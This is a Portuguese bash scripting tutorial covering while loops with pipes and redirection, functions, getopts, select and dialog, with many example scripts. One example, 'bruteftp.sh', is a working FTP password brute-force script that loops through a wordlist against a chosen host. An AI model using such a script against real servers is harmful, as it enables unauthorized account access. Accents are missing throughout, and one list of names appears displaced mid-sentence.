lembrando daqueles conceitos passados no tpico 3. (principalmente sobre o read e sobre os redirecionamentos). --> "pipeando" para o while Vamos imaginar um arquivo onde eu tenho os nomes de alguns amigos meus e a regio onde eles moram. Como alguns amigos moram em uma mesma regio eu no vou ficar repetindo a regio para cada um. Portanto o arquivo fica assim: <++> BashScript/amigos.regiao ############################# # lista de amigos e estados # ############################# # # OBS.: ISSO NO UM SCRIPT! # # Linhas que COMEAM com '#' sero consideradas # comentrios pelo script "listamigos.sh". # # Use da seguinte forma: # REGIAO amigo1 amigo2 amigo3 amigoN ... # Nordeste Sudeste Sul <--> Agora veja o script que usar as informaes contidas no arquivo "amigos.regiao": /* ----------------- */ <++> BashScript/listamigos.sh #!/bin/bash # o egrep abaixo vai pegar o arquivo "amigos.regiao" # sem exibir as linhas que comecem com um caractere '#' # (considerado comentrio) e sem mostrar linhas vazias, # em seguida vai redirecionar a sada para a entrada do # read que est l no while (relembre-se do read no # tpico 3.2.) egrep -v "^#|^ *$" amigos.regiao | while read REGIAO NOMES ; do echo -e "\e[1m--> Amigos do $REGIAO:\e[m" for amigo in $NOMES ; do echo "$amigo" done echo done <--> /* ----------------- */ Deu pra sacar direitinho? Qualquer dvida s dar uma olhada nas man pages dos comandos que esto gerando as dvidas. Mas a coisa no to simples assim... Se dentro do loop voc quisesse slater nashleon xf eSc2 module hekodangews manalaura blindbard klogd evillord emmanuele

usar o comando read para ler do teclado, seria necessrio pegar a entrada de "/dev/tty". Sabendo que o /dev/tty o terminal que voc est usando. Se voc tiver muitos amigos no arquivo "amigos.regiao" no vai conseguir ver todos, pois a lista no caber numa tela s. Neste caso, o script a seguir ser melhor que o "listamigos.sh". /* ----------------- */ <++> BashScript/listamigos2.sh #!/bin/bash egrep -v "^#|^ *$" amigos.regiao | while read REGIAO NOMES ; do echo -e "\n\e[32;1m--> Amigos do $REGIAO:\e[m" for amigo in $NOMES ; do echo -e "\e[1m$amigo\e[m" done echo -ne "\nEntre <ENTER> para continuar ou 'sair' para sair: " read QUIT < /dev/tty [ "$QUIT" = "sair" ] && exit done <--> /* ----------------- */ Se quiser comprovar com seus prprios olhos a necessidade de pegar a entrada de "/dev/tty" s retirar o "< /dev/tty" naquele read dentro do loop. OBS.: Curiosamente o exit dentro de um loop que recebe dados de um pipe funciona como se fosse um break. Pra comprovar isso coloque no final do script listamigos2.sh um "echo bla bla bla" e quando o script mostrar "Entre <ENTER> para continuar ou 'sair' para sair: " entre com 'sair'. Isso ocorre porque durante o "pipeamento" os comandos so executados num subshell (um shell a parte ou shell filho, como preferir), e o exit faz sair deste subshell. Vejamos um exemplo onde voc ver que o exit funciona como o break: /* ----------------- */ <++> BashScript/bruteftp.sh #!/bin/bash # ################################################################## # *********** # * ATENO * # *********** # No use este script para atacar servidores remotos! Ele deixar # arquivos de log imensos! Use-o apenas em localhost (127.0.0.1) # e veja voc mesmo os rastros deixados nos arquivos de log. ################################################################## # # Este cdigo s pra ilustrao do texto # "Programao em Bourne-Agai Shell", OK? # Na prtica mesmo ele no muito til. # Se quiser fazer um ataque de fora bruta # mais eficiente faa em C. # Veja mais sobre ataques de fora bruta em um # texto que o NashLeon fez em # <http://unsekurity.virtualave.net> # # verifica se o parmetro passado um arquivo

[ -f "$1" ] || { echo -e "\e[1mErro na passagem de parmetros\e[m" echo "Uso: `basename $0` wordlist" exit 1 } WL="$1" echo -e " \e[36;1m ------------------------------- \e[37;1m ataque de fora bruta via ftp \e[36;1m ------------------------------- \e[m " read -p "Host: " HOST read -p "Username: " USER cat $WL | while read PASS do # 230 o nmero que recebemos quando entramos com sucesso via ftp ftp -ivn << EoF | grep "^230" &>/dev/null open $HOST user $USER $PASS bye EoF # $? contm o cdigo de retorno do grep [ $? -eq 0 ] && { echo -e "\n\e[36;5;1mO ataque foi bem sucedido! \e[m" echo -e "Username: \e[1m$USER\e[m\nPassword: \e[1m$PASS\e[m" exit 0 # lembrando que o exit funciona como se fosse break } done # $? contm o mesmo valor no-zero que fez parar o loop acima [ $? -ne 0 ] && echo " Voc entupiu os arquivos de log por nada, pois o ataque fracassou... Mais sorte da prxima vez! " <--> /* ----------------- */ O "pipeamento" para while tambm usado no Mextract.sh.

--> redirecionando de arquivo para while Esse mtodo bem esquisitinho... Mas vou colocar ele a para quem quiser usar. Agora veremos um arquivo onde eu tenho os telefones de alguns amigos. A disposio das informaes dentro do arquivo um pouco parecida com o "amigos.regiao", veja: <++> BashScript/agenda.tel ####################### # Agenda de telefones #

####################### # # OBS. I: ISSO NO UM SCRIPT! # OBS. II: os nmeros dos telefones deste # arquivo so fictcios, no adianta # que no vai dar pra sair passando # trote... :-) # # Linhas que COMEAM com '#' sero consideradas # comentrios pelo script "listartel.sh". # # Use da seguinte forma: # NOME PREFIXO TELEFONE # Com os campos separados por UM NICO <TAB>. # # Exemplo: # lampiao 12 12345678 # mariabonita 87 87654321 # telefone "dus manu" xf 45 12431412 slater 98 65451654 minduin 45 54871800 nash 23 65576784 evil 23 54654654 heko 43 56465465 esc2 24 46456456 # telefone "das mina" emmanuele 87 45646545 maylline 29 65654655 manalaura 82 65416578 erika 65 34245522 <--> Vamos ao script que se utilizar das informaes de "agenda.tel": /* ----------------- */ <++> BashScript/listartel.sh #!/bin/bash TempFile=/tmp/TEMP-$$ # o egrep abaixo vai mostrar o arquivo agenda.tel # sem exibir as linhas que comecem com um caractere '#' # (considerado comentrio) e sem mostrar linhas vazias. # redirecionando a sada para $TempFile egrep -v "^#|^ *$" agenda.tel > $TempFile while read NOME PRE TEL ; do echo -e "Tel de $NOME: ($PRE)$TEL" done < $TempFile # esse redirecionamento faz com o que o "read" l no while # leia linha por linha do arquivo $TempFile rm $TempFile <--> /* ----------------- */

Agora quando voc se sentir solitrio e quiser conversar com algum, basta fazer o seguinte: $ ./listartel.sh | grep emma A s voc ligar pra emmanuele e bater um papo legal com ela. :) OBS. I: Neste esquema tambm necessrio pegar os dados de /dev/tty se voc quiser usar o read dentro do loop. OBS. II: Se voc usar exit dentro do loop usando este esquema, ele REALMENTE SAIR DO SCRIPT. No igual ao esquema anterior onde o while recebe dados de um pipe e o exit funciona como se fosse um break. Ento repetindo: neste esquema o exit funciona normalmente!

--> redirecionando a sada do loop para a tela Ficou confuso com este ttulo? "Redirecionar a sada do loop para a tela parece ser uma coisa intil, pois isso acontece todas as vezes." A que voc se engana! Vamos ao exemplo onde eu mostrarei a utilidade de se redirecionar desta maneira... Temos um script chamado retornatel.sh que pesquisa o telefone de um determinado amigo (o nome passado ao script durante sua execuo). Agora queremos pegar o telefone deste amigo e armazen-lo numa varivel da seguinte maneira: FONE=`./retornatel.sh` S que, como veremos no script a seguir, a sada do script no somente o nmero do telefone. Existe uma interface com o usurio perguntando qual o nome a ser pesquisado. Veja o script: /* ----------------- */ <++> BashScript/retornatel.sh #!/bin/bash # t bom, t bom... eu sei que no um exemplo muito til... # s pra ilustrar a utilidade de redirecionar a sada do loop FILE=agenda.tel function gotoxy { [ $# -ne 2 ] && { echo gotoxy: Erro na passagem de parmetros echo Uso: gotoxy X Y exit 1 } echo -ne "\e[$1;$2H" } while true; do clear gotoxy 5 1 read -p "Nome a ser pesquisado ('sair' para sair): " NOME [ "X$NOME" = Xsair ] && exit if grep "$NOME" $FILE &>/dev/null ; then break else gotoxy 10 15

echo Nenhum $NOME foi encontrado em $FILE. read -p "Pressione <ENTER> para continuar..." fi done > /dev/tty grep "^$NOME" $FILE | cut -f3 <--> /* ----------------- */ Olha o /dev/tty a de novo! :P Redirecionando a sada de todo o loop para "/dev/tty", far com que os dados impressos para fazer a interface com o usurio no sejam enviados para a sada padro e por conseguinte no sejam enviados para a varivel que est recebendo o nmero atravs do mtodo variavel=`programa` Desta maneira, se voc quer armazenar o telefone do xf na varivel XFTEL, faa o seguinte: XFTEL=`./retornatel.sh` E ento pesquise por xf. Depois s usar echo $XFTEL para ver o telefone do cara. Experimente usar o script sem este redirecionamento e pegar o telefone do xf desta maneira que expliquei para apreciar os resultados bizarros...

-------------------------------------------------------------------------

6. Funes ******* Funes so interessantes para quando voc precisa fazer uma determinada coisa vrias vezes num mesmo script. Uma funo como se fosse um script dentro do script, sendo assim ele tambm usa o mesmo esquema de parmetros de um script comum ($1 para primeiro parmetro, $2 para segunda, e todas aquelas regras explicadas em 2.4. Parmetros com a exceo do $0, que no retorna o nome da funo!). Uma funo tambm capaz de retornar um valor usando o "return ValorDeRetorno", sendo que ValorDeRetorno ficar armazenado em "$?", vale observar tambm que s possvel retornar valores inteiros. Por exemplo, se na funo tiver "return 123" depois da execuo desta instruo "$?" valer 123. Bem... explicar com um cdigo sempre mais fcil! Se voc acha que vai se safar do poderoso "Hello World" est muito enganado! A vai ele: /* ----------------- */ <++> BashScript/hello.sh #!/bin/bash # "Hello World" usado para ilustrar o uso de funes.

function quit { echo -e "\e[1;32mTCHAU!\e[m" exit } function e { echo -e "\e[1;35m$1\e[m" } e Hello e World quit echo "Isso aqui no ser impresso" <--> /* ----------------- */ Uhmmm... Sem falar muito eu j emendo outro cdigo: /* ----------------- */ <++> BashScript/maior.sh #!/bin/bash PARAM_ERR=-198 # Se for passado mais do que dois parmetros. EQUAL=-199 # Retorno se os parmetros forem iguais. function maior # Retorna o maior de dois nmeros { # OBS: os nmeros comparados precisam ser menores que 257 [ -z "$2" ] && return $PARAM_ERR if [ "$1" -eq "$2" ]; then return $EQUAL elif [ "$1" -gt "$2" ]; then return $1 else return $2 fi } read -p "Numero-1: " N1 read -p "Numero-2: " N2 maior $N1 $N2 RET_VAL=$? if [ $RET_VAL -eq $PARAM_ERR ]; then echo " necessrio passar dois parmetros para a funo." elif [ $RET_VAL -eq $EQUAL ]; then echo "Os dois nmeros so iguais." else echo "O maior nmero $RET_VAL." fi exit 0 <--> /* ----------------- */ S umas informaes adicionais: - O return quando executado interrompe a execuo da funo e a execuo

passa para a instruo imediatamente posterior a qual a funo foi chamada; - O valor mais alto que uma funo pode retornar 256 e o mais baixo... bem, um nmero de mdulo grande. :P Se precisar de valores positivos maiores que 256 retorne-o como negativo e depois converta-o para positivo novamente (como? ah meu amigo... saia da frente do computador e v procurar um livro de matemtica!); - Se quer saber mais detalhes sobre funes o captulo 23 do Advanced Bash-Scripting Guide vai lhe ser muito til. Fique com mais este cdigo que eu achei bem interessante. ;-) /* ----------------- */ <++> BashScript/romano.sh #!/bin/bash # # Cdigo baseado em um do Advanced Bash-Scripting Guide. # Mais informaes sobre este guia em http://www.linuxdoc.org # Caso no entenda o cdigo, faa um esforcinho! ;-) LIMITE=400 function romano { NUM=$1 FATOR=$2 ROMAN=$3 (( RESTO = $NUM - $FATOR )) while [ "$RESTO" -ge 0 ]; do echo -n $ROMAN (( NUM -= $FATOR )) (( RESTO = $NUM - $FATOR )) done return $NUM } [ "$1" ] || { echo "Uso: `basename $0` NUMERO" exit 1 } [ "$1" -gt 400 ] && { echo "$1 ultrapassa o limite de $LIMITE" exit 1 } NUMERO=$1 romano $NUMERO 100 C NUMERO=$? romano $NUMERO 90 XC NUMERO=$? romano $NUMERO 50 L NUMERO=$?

romano $NUMERO 40 XL NUMERO=$? romano $NUMERO 10 X NUMERO=$? romano $NUMERO 9 IX NUMERO=$? romano $NUMERO 5 V NUMERO=$? romano $NUMERO 4 IV NUMERO=$? romano $NUMERO 1 I NUMERO=$? echo exit <--> /* ----------------- */ Ah! Deixa eu dizer s mais uma coisinha: possvel declarar funo(es) dentro de funo. Desta vez no darei exemplos, faa os testes por conta prpria! :-)

6.1 Funes como comandos ===================== Antes de comear vamos relembrar um conceito bsico: quando se executa um shell script voc obtm o mesmo resultado que obteria se digitasse o contedo do script no prompt de um shell. Com isso eu quero dizer que voc pode fazer tudo que faz em um shell script na linha de comando, inclusive criar e utilizar funes (que o assunto deste tpico). Bom chega de falar de coisas bvias... :-) Na linha de comando voc declara uma funo da mesma maneira que faz num script. Por exemplo, digite o seguinte na sua linha de comando: function heko { echo -e "\e[5;1;32mHekodangews, para de enrolar a mina e casa logo! \e[m" } Agora quando voc entrar com "heko" na linha de comando ser impresso na tela um recadinho para o Hekodangews numa corzinha verde e piscante super-fashion. =) Veja este outro exemplo um pouco mais til: /* -=-=-= exemplo =-=-=- */ function SetPath { PATH=${PATH:="/bin:/usr/bin"} for DIR in "$@"; do if [ -d "$DIR" ]; then PATH="$PATH:$DIR" else

echo "* * * Erro: $DIR nao eh um diretorio" fi done export PATH unset DIR } /* -=-=-= exemplo =-=-=- */ Acho que deu pra sacar qual , n? Quando voc quiser acrescentar algum diretrio no seu PATH basta usar "SetPath dir1 dir2 dirn". ;-) E se voc tiver vrias idias de funes legais que queira usar sempre em suas sesses? Vai ter que digit-las na linha de comando toda hora? No! Para este propsito o comando "source" pode ser muito til (informaes detalhadas na manpage do bash). Lembra-se de eu ficar enchendo o saco dizendo "Quando executamos um shellscript ele executado num shell a parte (shell filho)"? Pois eu no fiquei enchendo o saco com isso sem motivo. O comando source faz com que o script seja executado no shell pai, ou seja, como voc estivesse digitando todo o contedo do arquivo na linha de comando. E isso especialmente til quando temos arquivos com as nossas funes que queremos usar como comandos. Uma coisa legal de se fazer colocar o arquivo com as funes que voc quer usar num arquivo oculto no seu $HOME (ex.: $HOME/.MyFunctions) e no seu $HOME/.bash_profile voc coloca uma linha com o comando "source $HOME/.MyFunctions". Veja este arquivo com alguns exemplos de funes: /* ----------------- */ <++> BashScript/bacanas/Mfunctions #!/bin/bash # # "INSTALAO": # copie este arquivo para seu $HOME: # [prompt]$ cp Mfunctions ~/.Mfunctions # # depois faa o seguinte: # [prompt]$ echo ". ~/.Mfunctions" >> ~/.bash_profile # # D login novamente ou digite ". ~/.Mfunctions" e pronto. # Agora s digitar o nome da funo. # # DICA: depois de corretamente instalada, use "M<tab><tab>" # para ver as funes disponveis. # # Funes disponveis neste arquivo: # + Mecho # + Mcenter # + Mclock # + Mclock2 # + Msetpath # + Mdica # + Marrumanome # + Mnocomments # + Mcalcula # + Mcores # # Aproveite! # meleu

# # P.S.: graas a esse tal de "oupem srssi" voc pode ler # um cdigo e alter-lo para que se adeque as suas # necessidades eu que fique ao seu gosto. Pois foi # isso que eu fiz aqui! Sa olhando as funes que # outras pessoas fizeram e arrumei do meu jeito. E # a minha principal fonte foi o funcoeszz do aurlio. # veja em: http://verde666.org/zz #

# imprime em negrito function Mecho { echo -e "\e[1m$*\e[m" }

# imprime em negrito no centro da linha function Mcenter { local POS=$[ ( $COLUMNS - `echo -en "$*" | wc -c` ) / 2 ] Mecho "\e[${POS}C$*" }

# deixa sempre no cantinho da primeira linha do console: # "[ hora:minuto dia/mes/ano ]". # Se houver algum processo em segundo plano (background) ele tambm indica. # OBS.: nos emuladores de terminal em que eu testei s funcionou no xterm # o rxvt no aceita os cdigos de salvar e restaurar a posio do cursor # (respectivamente "\e[s" e "\e[u"). function Mclock { local CIANO="\e[1;36m" local AMARELO="\e[1;33m" local SCOR="\e[m" alias DiaMesAno='date +'\''%H:%M %e/%m/%y'\' PROMPT_COMMAND=" JOBS=\$(echo \$(jobs | wc -l)) if [ \$JOBS -ne 0 ]; then HEADER=\"Jobs: \$JOBS \$(DiaMesAno)\" else HEADER=\"\$(DiaMesAno)\" fi POS=\$[ (\$COLUMNS - \$(echo \"\$HEADER\" | wc -c) ) - 3 ]" PS1="\[\e[s\e[1;0H\e[K\ \e[\$(echo -n \$POS)C\ $CIANO[$AMARELO \$HEADER $CIANO]$SCOR\ \e[u\e[1A\] $PS1" echo -e "\nMclock ativado!\n" }

# Parecido com o Mclock mas fica tudo escrito no centro da primeira linha # e em um formato mais longo. function Mclock2 { local CIANO="\e[1;36m" local AMARELO="\e[1;33m" local SCOR="\e[0m" alias Mdate='date +'\''%H:%M - %A, %e %B %Y'\' PROMPT_COMMAND=" JOBS=\$(echo \$(jobs | wc -l)) if [ \$JOBS -ne 0 ]; then HEADER=\"Jobs: \$JOBS - $(Mdate)\" else HEADER=\"\$(Mdate)\" fi POS=\$[ (\$COLUMNS - \$(echo \"\$HEADER\" | wc -c) ) / 2 ]" PS1="\[\e[s\e[1;0H\e[K\ \e[\$(echo -n \$POS)C\ $CIANO[$AMARELO \$HEADER $CIANO]$SCOR\ \e[u\e[1A\] $PS1" echo -e "\nMclock2 ativado!\n" }

# Adiciona um diretrio na sua varivel $PATH function Msetpath { local DIR PATH=${PATH:="/bin:/usr/bin"} [ $# -eq 0 ] && { echo "PATH = $PATH"; return; } for DIR in "$@"; do if [ -d "$DIR" ]; then PATH="$DIR:$PATH" else echo "* * * Erro: $DIR no um diretrio" continue fi done export PATH }

# eu tenho no meu home um diretrio dicas onde eu vou colocando # dicas sobre programas diversos. # o nome dos arquivos so iguais aos nomes dos programas, ento # quando eu me deparo com uma dica sobre o grep, por exemplo, eu # fao: # [prompt]$ cat dica_grep >> ~/grep # esta funo serve para visualizar as dicas # OBS.: o aurlio que me deu ESTA dica do diretrio "$HOME/dicas". # valeu rapaz! ;) function Mdica { local DICASDIR=$HOME/dicas

[ "$1" ] || { Mecho "Uso: Mdica [assunto]\n" echo "Os assuntos disponveis so:" ls $DICASDIR return } more $DICASDIR/$1 }

# renomeia os arquivos que possuem nomes com caracteres feiosos # fazendo com que letras maisculas fiquem minsculas; # letras acentuadas fiquem a letra correspondente sem acento; # e espaos em branco, smbolos e outras coisas feias fiquem # underline '_' function Marrumanome { [ "$1" ] || { Mecho "Erro: voc precisa passar os arquivos que quer renomear"; echo 'Uso: Marrumanome arquivo1 [arquivoN ...]' return 1 } local FILE NINICIAL NFINAL DIR for FILE in "$@"; do [ -f "$FILE" ] || continue NINICIAL=`basename "$FILE"` DIR=`dirname "$FILE"` NFINAL=`echo "$NINICIAL" | sed ' y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ y//aaaaaaaaaaeeeeeeee/ y//iiiiiiiioooooooooo/ y//uuuuuuuuccnn/ s/^-/_/ s/[^a-z0-9._-]/_/g'` [ "$NINICIAL" != "$NFINAL" ] && mv -- "$FILE" "$DIR/$NFINAL" done }

# visualiza um arquivo retirando linhas que comecem com um caractere # de comentrio (#) e linhas vazias (linhas com espaos no so # vazias) function Mnocomments { [ "$1" ] || { Mecho "Erro: falta argumentos" echo "Uso: Mnocomments arquivo1 [arquivoN ...]" return } # estou usando o more s por causa daqueles ":::::::" que aparecem # quando passado mais de um arquivo como parmetro. ;-) more $@ | egrep -v "^#|^$" }

# faz clculos usando o bc # s pra no precisar ficar fazendo "echo <expressao> | bc" toda hora function Mcalcula { [ "$1" ] || { Mecho "Erro: voc precisa passar uma expresso" echo "Uso: Mcalcula <expresso>" echo "Exemplo: Mcalcula '4^2+3*(7-4)'" return 1 } # mude o valor de "scale" se quiser mais de duas casas decimais echo "scale=2; $@" | bc }

# mostra todas as cores do console e seus respectivos cdigos. # mais uma cortesia do aurlio function Mcores { for LETRA in `seq 0 7`; do for BOLD in '' ';1'; do for FUNDO in `seq 0 7`; do SEQ="4$FUNDO;3$LETRA" echo -ne "\e[$SEQ${BOLD}m $SEQ${BOLD:- } \e[m" done echo done done } <--> /* ----------------- */ Se voc quer ver umas funes porretas que o aurlio fez olhe em <http://verde666.org/zz>. Vou logo avisando que o ele parece ser daqueles tipos que no ligam para a "limpeza" do cdigo, mas tudo bem... a gente faz uma forcinha pra enteder e no final das contas: o que importa que funciona! ;-)

-------------------------------------------------------------------------

7. Tornando seu script amigvel **************************** Alguns comandos teis que tornam seu script mais "user-friendly". 7.1. getopts ======= Este comando serve para permitir que voc use parmetros na linha de comando de maneira mais eficiente que ficar usando as variveis de posio

de parmetros ("$1", "$2"...). Sua sintaxe : getopts 'CadeiaDeOpcoes' variavel Onde "CadeiaDeOpcoes" consiste em cada caractere que o getopts considerar, e "variavel" receber este caractere. Para passar um parmetro para o script voc usa '-c' onde 'c' o parmetro. Veja este exemplo hipottico: getopts 'ab:c' variavel Voc poder usar os parmetros 'a', 'b' ou 'c'. Note que 'b' seguido de um ':', isso significa que 'b' um parmetro que precisa de argumento. Este, por sua vez, armazenado na varivel OPTARG. Mais detalhadamente, o getopts funciona assim (adaptado do "Teach Yourself Shell Programming in 24 Hours", veja Referncias): 1. O getopts examina todos os argumentos da linha de comando procurando por argumentos que comecem com o caractere '-'. 2. Quando acha um argumento comeado com '-' o getopts procura em "CadeiaDeOpcoes" se tem algum caractere que combine. 3. Se combinar com algum, "variavel" receber este caractere, caso contrrio "variavel" receber '?'. 4. Os passos 1-3 so repetidos at que todos os argumentos da linha de comando tenham sido lidos. 5. Quando acaba de ler todos os argumentos da linha de comando getops retorna um valor falso (no-zero). Isto til para verificaes em loops (como veremos no exemplo abaixo). Hmmm... Confuso? Numa primeira olhada confuso mesmo, muita informao de uma vez s. Portanto d uma olhada no exemplo a seguir, execute-o e depois releia este tpico. No se esquea de fazer o mais importante: praticar! /* ----------------- */ <++> BashScript/getopts.sh #!/bin/bash USAGE="Uso: `basename $0` [-h] [-n nome] [-e email]" [ $1 ] || { echo $USAGE ; exit 1 ; } # observe que 'n' e 'e' precisam de argumentos while getopts 'hn:e:' PARAMETRO; do # atente para a utilidade do "case"! ;-) case $PARAMETRO in h) echo -n " Script de exemplo de uso do \"getopts\". Uso: `basename $0` [opes]

Onde as opes podem ser: -n nome -e email -h imprime nome imprime email exibe esta mensagem" ;;

n) NOME=$OPTARG ;; e) EMAIL=$OPTARG ;; *) echo -n "Entre \"`basename $0` -h\" para ajuda." ;; esac done [ $NOME ] && echo $NOME [ $EMAIL ] && echo $EMAIL <--> /* ----------------- */ Execute este cdigo e tire suas prprias concluses. Voc pode ver mais um script que usa getopts no tpico "Exemplos Variados".

7.2. select ====== Este comando serve para fazer menus, onde o usurio pode escolher uma dentre vrias opes. Sua sintaxe um pouco parecida com a do "for": select opcao in lista-de-opcoes A diferena que o for faz um loop para cada palavra que estiver na "lista-de-opcoes" enquanto o select espera que o usurio escolha uma opo dentre as que esto na lista. Veja este exemplo: /* ----------------- */ <++> BashScript/conta.sh #!/bin/bash function Mecho { echo -e "\e[1m$*\e[m" } # ATENO AQUI: o prompt que o select mostra controlado pela # varivel PS3. E todas aqueles comentrios sobre # o PS1 feitas no tpico 2.2. valem aqui tambm. PS3="Opo: " echo read echo read -n "Entre com o primeiro nmero: " NUM1 -n "Entre com o segundo nmero: " NUM2

OPCOES="adicao subtracao multiplicacao divisao sair" select opc in $OPCOES; do if [ "$opc" = adicao ]; then Mecho "$NUM1 + $NUM2 = $[ $NUM1 + $NUM2 ]" elif [ "$opc" = subtracao ]; then Mecho "$NUM1 - $NUM2 = $[ $NUM1 - $NUM2 ]" elif [ "$opc" = multiplicacao ]; then Mecho "$NUM1 * $NUM2 = $[ $NUM1 * $NUM2 ]" elif [ "$opc" = divisao ]; then Mecho "$NUM1 / $NUM2 = `echo "scale=2;$NUM1/$NUM2" | bc -l`" elif [ "$opc" = sair ]; then Mecho "Tchau! " exit else Mecho "Opo invlida! " fi done <--> /* ----------------- */ Bem prtico, no acha? ;-)

7.3. dialog ====== AVISO: o dialog no um comando especfico do bash! Estou escrevendo sobre ele porque j vi muita gente querendo informaes sobre ele e porque eu particularmente acho ele uma fofura. :-) O dialog serve para fazer caixas de dilogo, e a sintaxe bsica assim: dialog [ opcoes de ttulo ] opes da caixa As opes de ttulo so opcionais (por isso que elas esto entre colchetes. duh!), as de caixa so obrigatrias. Para que voc possa fazer agora uma apreciao visual do dialog tente o seguinte comando: dialog --yesno "Caixa onde se se escolhe Yes ou No" 0 0 Existem vrios tipos de caixas, a utilizada nesse comando uma caixa do tipo "yesno". Bem... isso foi s pra voc dar uma admirada rpida no dialog. Agora vamos organizar as coisas, vou explicar alguns parmetros. V praticando cada um desses parmetros e vendo o resultado. Lembre-se que as opes da caixa so obrigatrias! * --backtitle "texto" Este parmetro para por um ttulo "l atrs". Tente dialog --backtitle "Micro\$oft Scandisk" --yesno bla 0 0 e veja como o ttulo que aparece lhe trar pssimas lembranas. =) * --title "texto"

Este vai ser o ttulo da caixa de dilogo. Agora vamos as opes de caixa, mas antes uma informao: Em todos os tipos de caixas existem os argumentos "altura" e "largura" (que para abreviar, eu chamarei de "alt" e "larg"), que (por incrvel que parea) servem para voc determinar a altura e largura da caixa de dilogo. Se voc no tiver saco pra ficar contando quantos caracteres sero usados na caixa, use 0 para altura e largura, assim a caixa ter um tamanho de acordo com texto utilizado. * --yesno "texto" alt larg Faz uma caixa de dilogo com as opes "Yes" e "No". Se voc escolher "Yes" o dialog retorna 0, caso contrrio, retorna 1. * --msgbox "texto" alt larg Serve para mostrar uma mensagem e tem um boto de confirmao "OK". Quando voc escolher "OK" o dialog retornar 0, e, assim como em todos os outros tipos de caixas, voc pode cancelar via tecla ESC, quando o dialog retornar 255. * --inputbox "texto" alt larg [string de inicio] Faz uma caixa de entrada de dados, se "string de inicio" for passada o campo de entrada de dados ser inicializado por esta string. Os botes so "OK" E "Cancel", o primeiro, se selecionado, retorna 0 e o outro retorna 1. A string que voc entrar ser direcionada para a sada de erro padro, portanto, se voc quer que isto seja gravado use redirecionamento de stderr (ver 3.3 Redirecionamento). * --textbox arquivo alt larg como se fosse um simples visualizador de arquivos texto. Use as setinhas do teclado para se movimentar. Para pesquisar pra frente use '/' e para pesquisar pra trs use '?'. * --menu "texto" alt larg alt-do-menu item1 "descricao do item1" \ [ itemN "descricao do itemN" ] Note que aquela '\' l no final da linha significa que o comando continua na prxima linha. Como o prprio nome diz, esse parmetro usado para fazer menus, como por exemplo aquele do pppsetup (slackware) onde voc escolhe qual o ttyS do seu modem. O item que for escolhido ser impresso em stderr. "OK" retorna 0 e "Cancel" retorna 1. Veja um exemplo besta s pra ilustrar: /* ----------------- */ <++> BashScript/menudialogtest.sh #!/bin/bash FILE=/tmp/script-$$ dialog --title "Teste fuleiro da caixa de dilogo \"menu\"" \

--menu "Qual comando voc deseja executar?" 0 0 0 \ "pwd" "mostra o diretrio atual" \ "ps aux" "lista os processos que esto sendo executados" \ "uname -a" "exibe informaes sobre o SO e a mquina local" \ "users" "lista os usurios que esto logados no momento" 2> $FILE # Lembre-se que o item escolhido ser impresso em stderr. E repare # acima que eu estou redirecionando stderr para um arquivo. RET_VAL=$? [ $RET_VAL -eq 0 ] || { echo "Operao cancelada."; exit 1; } sh $FILE rm $FILE <--> /* ----------------- */ * --checklist "texto" alt larg alt-da-lista \ item1 "descricao do item1" status [ item2 "descricao do item2" status ] Note novamente o caractere '\' fazendo o comando continuar na linha abaixo. Este tipo de caixa utilizado quando se quer fazer um menu onde pode-se escolher vrios itens, voc marca os que deseja e d "OK". Assim como o "--menu", o(s) item(ns) que for(em) escolhido(s) sero impressos em stderr. O parmetro "status" serve para voc deixar um determinado item selecionado logo de incio, seus valores podem ser "on" ou "off". Veja este exemplo bem interessante (oh! finalmente um exemplo com alguma utilidade!) que usa muitos dos conceitos j ensinados at aqui, se no entender releia o cdigo: /* ----------------- */ <++> BashScript/bacanas/mp3select.sh #!/bin/bash # # "Escolhedor" de mp3z feito para ilustrar o uso do 'dialog' # no texto "Programao em Bourne-Again Shell". # # Para utilizar este script necessrio ter instalado o mpg123. # # + OBS.: Se o nome de alguma mp3 for muito grande podem acontecer # resultados bizarros... :-/ # + OBS.II: Este script no "detecta" nome de mp3z que contenham # espaos. Pois se detectasse tambm ocorreriam resultados bizarros. # # Feito por: meleu <meleu@meleu.cjb.net> # mude a varivel MP3DIR e descomente-a para no # precisar passar o diretrio toda hora na linha # de comando. #MP3DIR="$HOME/mp3z/" FILE="/tmp/mp3.$$" NCOR="\e[m" WHITE="\e[1m" function AjudarSair { echo "Tente \"`basename $0` -h\" para ajuda."

exit $1 } function ApagarSair { rm $FILE exit $1 } # ia o getopts a gente! =) while getopts 'd:n:h' OPCAO; do case $OPCAO in d) MP3DIR="$OPTARG" ;; n) NOME="*$OPTARG" ;; h) echo -e " ${WHITE}* Meleu's mp3 escolheitor (Tabajara, Inc.)$NCOR Uso: `basename $0` [-d diretorio] [-n nome] [-h] -d diretorio diretrio onde sero procuradas as mp3z -n nome nome que ser procurado no diretrio -h imprime esta mensagem " exit ;; *) exit 1 ;; esac done if [ -z "$MP3DIR" ]; then echo -e "${WHITE}Voc precisa indicar em qual diretrio esto as mp3z.$NCOR" AjudarSair 1 elif [ ! -d "$MP3DIR" ]; then echo -e "$WHITE\"$MP3DIR\" no um diretrio.$NCOR" AjudarSair 1 fi cd "$MP3DIR" LISTA=`/bin/ls -1 $NOME*.mp3 2>/dev/null | grep -v ' '` [ -z "$LISTA" ] && { echo -e "${WHITE}Nenhuma mp3 foi encontrada em \"$MP3DIR\".$NCOR" AjudarSair 1 } CONT=1 dialog --backtitle "Selecionador de mp3z" \ --title "$MP3DIR" \ --checklist "Escolha a msica" 0 0 0 \ $(for ITEM in $LISTA ; do echo "$ITEM" "$CONT" off (( CONT++ )) done) 2>> $FILE RET_VAL=$? [ $RET_VAL -ne 0 ] && { echo "Tchau!"; ApagarSair; }

